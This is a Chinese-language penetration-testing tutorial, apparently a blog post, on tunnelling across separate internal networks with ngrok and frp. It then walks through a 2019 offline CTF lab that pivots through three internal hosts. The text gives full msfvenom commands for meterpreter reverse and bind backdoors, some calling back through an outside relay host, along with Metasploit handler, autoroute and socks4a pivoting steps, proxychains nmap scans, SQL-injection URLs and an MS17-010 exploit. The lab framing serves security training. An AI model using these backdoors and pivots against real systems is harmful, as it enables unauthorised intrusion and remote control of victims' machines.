代理技术和隧道技术都属于内网穿透,代理主要解决内网里面通信的问题(比如对方在内网,你也在内网,这时候两个内网实现通信就必须要经过代理才能实现,常见工具有frp、ngrok和ew等,ew(earthworm已经停止更新了,就不演示)),和一些防火墙的拦截 隧道主要是一些安全设备和流量监控设备上的拦截问题
代理主要解决的是三种问题:内网主机有外网,内网有过滤有一些防火墙问题、内网里面无外网
1.内外网简单知识
内网ip地址是私有ip地址(10/8, 172.16/12 , 192.168/16),除此之外就是公有ip
2.内网1和内网2通信问题
1主机在内网1,2主机在内网2.就好比说你在学校宿舍上网,我在网吧上网,我们都属于内网,但是我们不是一个内网,您是学校内网,我是网吧内网,这两个网络如果要实现通信。比如我现在有个后门CS或者MSF生成一个后门发给你,你去执行这个后门,这个时候如果你能让对方上线到你这是上线不了的,因为你们都是内网,除非这个时候采用一些代理技术。你用CS想控制这台内网主机,你CS在另外一个内网,受害主机在一个内网,那么上线是不可能的。必须要借助代理
3.正反向协议通信连接问题
正向代理就是正方向的连接,反向代理就是反方向的连接 什么是正方向,什么是反方向呢? 如果是控制端去连接被控制端的话,就属于正向代理, 被控制端去连接控制端就是反向代理。
这个正向代理和反向代理为什么要区分开呢? 你的控制端如果是服务器,是外网一台主机,就是公网的一台服务器,就相当于你在外网有一个唯一的IP地址,通过这个IP地址你能够找到你; 被控制的肉鸡是内网,如果你去主动找这台被控的内网主机你是找不到的,
4.内网穿透代理隧道技术说明
隧道主要解决流量分析工具和流量监控工具 还有想防火墙过滤问题 代理主要解决网络的连通性问题
黑客在湖南局域网,肉鸡在上海局域网,你用的是自己内网里面的虚拟机kali生成的后门,你想实现控制上海的肉鸡。 理论上,如果你不涉及到代理,是绝对控制不了的,因为你两者都是内网,你生成后门的时候,你如果写你外网的木马地址的话,它去连接的时候找到的是你的路由器,你写你内网地址的话,那就更加找不到,它就不可能实现控制。
这时候就要借助ngrok这款工具来实现连通,它是怎么实现呢?下面简单把原理分析一下用到ngrok这款工具的时候,ngrok会在外网启动一台服务器给你,相当于这台肉鸡想去找你的时候先去找这个服务器,服务器再传输给你。同样,如果你要找这台肉鸡,也要经过这台服务器,其实就是说,这款工具就是在中间架设一台外网服务器,因为这台外网服务器你和他都能访问,你找对面肉鸡的时候会经过外网服务器,这个数据要回连给控制端的时候也会找这台外网服务器,服务器会在控制端这里有个客户端,就相当于接收服务器给的数据,你出去,客户端给服务器;数据连通就是正常的!其实就是找了一个中介!
演示案例: • 内网穿透Ngrok测试演示-两个内网通讯上线 • 内网穿透Frp自建跳板测试-两个内网通讯上线 • CFS三层内网漫游安全测试演练-某CTF线下2019
实验环境:两个不同的内网(有网络)实现穿透控制1.注册-购买-填写-确认http://www.ngrok.cc/(国内) 协议:http 本地端口:192.168.76.132:4444
kali就下载linux的客户端
开通后点击隧道管理
开两台虚拟机来模拟:用msf生成后门,再用一台电脑来执行这个后门,两台电脑实现这个问题
打开kali: 写这个隧道id就会找到那个外网上去
确保是online,如果不是online就说明隧道有问题
http://xiaodisec.free.idcfengye.com ——》192.168.76.132:4444(对方访问这个网址就会指向这个ip) 192.168.76.132:4444就是本机kali的ip地址
2.测试:内网1执行后门-免费主机处理-内网2监听-内网2接受器
在卡里下生成后门: msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe(生成后门,因为选择的是http协议,所以这里是reverse_http)生成一个后门,绑定xiaodisec.free.idcfengye.com地址和 80端口
这时候把生成的后门文件test.exe复制到windows7
下面配置后门监听状态(配置并监听)一旦xiaodisec.free.idcfengye.com有流量,就发生给本地 msfconsole
use exploit/multi/handler # 选择监听模块 set payload windows/meterpreter/reverse_http(和生成木马的payload一致)配置参数 set lhost 192.168.76.132 set lport 4444
这时候windows7去执行后门文件:
https://blog.csdn.net/Waffle666/article/details/sunny clientid aa0676878c162ffc msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe(生成后门) use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.76.132 set lport 4444 exploit
自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)用xshell连接云服务器更改frps.ini 服务器修改配置文件frps.ini: [common] bind_port = 6677启动服务端: https://blog.csdn.net/Waffle666/article/details/frps -c https://blog.csdn.net/Waffle666/article/details/frps.ini
2.控制端-下载-解压-修改-启动 控制端修改配置文件frpc.ini: [common] server_addr = 你的云主机ip server_port = 6677 #frpc工作端口,必须和上面frps保持一致 [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 #转发给本机的5555 remote_port = 6000 #服务端用6000端口转发给本机
启动客户端(kali): https://blog.csdn.net/Waffle666/article/details/frpc -c https://blog.csdn.net/Waffle666/article/details/frpc.ini
生成后门: msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211(你的公网ip) lport=6000 -f exe -o frp.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 5555 exploit
监听后把木马放到windows7上面执行
3.靶机运行frp即可
参考:CFS靶机实战演练-从外网杀进三层内网,横向渗透拿到Flag
环境:
来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结尾。Target1(centos7 x64): 探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-蚁剑连接--获取Flag-Target2
1.生成linux后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132(kali的ip) LPORT=1111 -f elf >t1.elf
2.接受反弹:
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.76.132 set LPORT 1111 exploit
将t1.elf通过webshell上传上去
执行完成后,kali主机上劫持到会话,会话已经弹到kali上面,kali是76网段,怎么让kali访问到22网段? msf上面有自带的代理加持,在CS上面也有,先通过网络接口来判断
3.信息收集及配置访问获取网络接口:run get_local_subnets(因为在实战情况下是不知道这台主机是什么网络的,前面是因为看了拓扑图,这个就是获取网卡信息,确保下面有没有内网)
查看路由地址:run autoroute -p(查看当前路由)
添加路由地址:run autoroute -s 192.168.22.0/24
添加路由后,我和22这个网卡是能通讯,但是你通讯怎么攻击它呢?还是要使用工具,但是这个路由有个问题,只能在msf上通信,只能在msf会话上操作,msf有很多命令去探测,但是不能攻击,这是就要本地开个代理,相当于给其他人一个接口。
相当于在这台target1或者kali上面开个接口,让外部人连接这个接口,因为目前kali已经可以访问目标2,因为已经有路由了。所以可以在上面开个接口,那么我可以通过本机访问kali的2222端口
开启本地代理:use auxiliary/server/socks4a set srvport 2222 exploit
等一下连接2222就能和kali进行连接,
4.利用本地代理接口访问测试 设置浏览器代理进行访问测试linux: 配置proxychains(代理工具)后调用工具探针Target2 /etc/proxychains.conf socks4 192.168.76.132 2222(在配置文件中添加)proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 (这样nmap就会扫描22网段) -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。 -sT:扫描TCP数据包已建立的连接connect
windows:利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试
Target2(ubuntu x64): 探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-Target3http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入http://192.168.22.128/index.php?r=admini/public/login #后台http://192.168.22.128/index.php?r=special #后门shell 1.生成正向后门: msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf 2.访问接受: use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.128 set LPORT 3333 exploit 3.信息收集及配置访问 获取网络接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.33.0/24
Target3:(windows7 x64) 探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG proxychains4 nmap -Pn -sT 192.168.33.33 use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set RHOST 192.168.33.33 exploit shell dir /S flag.txt /B type xxxxx.txt
涉及资源: http://www.ngrok.cc/ https://gofrp.org/docs/Releases · fatedier/frp · GitHub https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码: xiao